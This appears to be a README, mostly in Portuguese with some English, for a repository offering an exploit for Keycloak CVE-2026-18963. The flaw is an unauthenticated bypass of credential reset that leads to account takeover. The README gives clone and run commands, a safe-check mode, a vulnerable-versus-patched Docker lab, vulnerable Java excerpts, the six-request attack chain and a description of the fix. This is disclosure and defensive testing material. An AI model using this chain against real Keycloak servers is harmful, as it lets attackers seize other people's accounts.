
Exploit para Keycloak CVE-2026-18963 que permite a tomada de conta não autenticada via bypass de redefinição de credenciais. Inclui detecção segura, prova não destrutiva, tomada de conta completa, enumeração de nomes de usuário e um laboratório com versões vulneráveis e corrigidas.
Conhecendo apenas um nome de usuário ou endereço de e-mail, um atacante não autenticado define uma senha arbitrária em qualquer conta do Keycloak. O e-mail de redefinição de senha é enviado à vítima real e nunca é necessário — o atacante nunca lê uma caixa de entrada, nunca clica em um link e não possui nenhuma credencial ou sessão prévia.
Afetados: Keycloak 26.0.0 – 26.7.1. Corrigido na versão 26.7.2.
Um único comando. Nenhum nome de usuário válido é necessário e sem efeitos colaterais — ele não envia e-mail, não grava em nenhuma conta e para antes da etapa explorável.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, apenas biblioteca padrão. Nada para instalar.
| Saída | Veredicto | Significado |
|:---:|---|---|
| `0` | 🔴 **VULNERÁVEL** | o portão de e-mail estacionado foi servido — o bug em si |
| `2` | 🟢 **CORRIGIDO** | o fluxo desviou para o login e permaneceu lá (correção #51844 presente) |
| `2` | 🟡 **MITIGADO** | redefinição de credenciais inacessível — *Esqueci a senha* está desativado. **Não é uma correção.** |
| `3` | ⚪ **INCONCLUSIVO** | resposta não reconhecida — **não interprete isso como aprovação** |
Execute por realm — *Esqueci a senha* é uma configuração por realm, e `master` conta.
Detalhes, e por que a verificação não precisa de usuário e não altera nada, em
[§4a](#4a-safe-detection---safe-check--start-here).
**Já sabe que está exposto?** Vá para [remediação](#8-remediation) e
[detecção / caça a ameaças](#9-detection).
### Experimente sem um alvo
O repositório inclui um laboratório que inicia uma versão vulnerável **26.7.1** e uma corrigida **26.7.2**
lado a lado contra um realm idêntico, além de uma caixa de correio para observar o e-mail de redefinição
chegar e permanecer não lido enquanto a conta é assumida:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Apenas para testes autorizados
Este repositório existe para defensores, respondedores a incidentes e testadores de penetração autorizados. Execute-o contra sistemas que você possui ou para os quais possui permissão por escrito para testar. Tudo aqui vem com um laboratório vulnerável autocontido (
lab/), portanto nada externo precisa ser tocado para aprender como a falha funciona. Apontá-lo para infraestrutura de terceiros sem autorização é ilegal na maioria das jurisdições e não é algo que este projeto apoia.
Referências: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · correção keycloak#51844
Duas falhas encadeadas. Nenhuma é explorável isoladamente.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — qualquer POST que transporte a chave de formulário tryAnotherWay:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
A nota é um **booleano simples, sem registro de qual conjunto de execução a definiu**. Ela é
limpa apenas no ramo que trata um parâmetro `authenticationExecution` enviado. Omita esse parâmetro — como este PoC faz em todo o fluxo — e a flag permanece
definida durante toda a vida da sessão de autenticação.
`processFlow()` — enquanto a flag for verdadeira, a avaliação normal do fluxo é ignorada:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".
The glue is processResult() case FORK: — when Send Reset Email fires it stamps
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks
the browser to the login page. The parked execution is precisely the e-mail gate.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so *reaching* `action()` is treated as equivalent to proving mailbox control.
### The chain```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Seis pedidos HTTP, sem autenticação, sem parâmetro authenticationExecution em nenhum
momento.
model.getId(), e processFlow() a respeita somente quando
ela é igual a CURRENT_AUTHENTICATION_EXECUTION; caso contrário, remove-a. No ataque,
os dois diferem (id de choose-user vs. id de e-mail-gate) — exatamente o que o patch
detecta, e exatamente o sinal em que --safe-check se baseia.ResetCredentialEmail.action() agora exige
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
e, caso contrário, falha com INVALID_USER.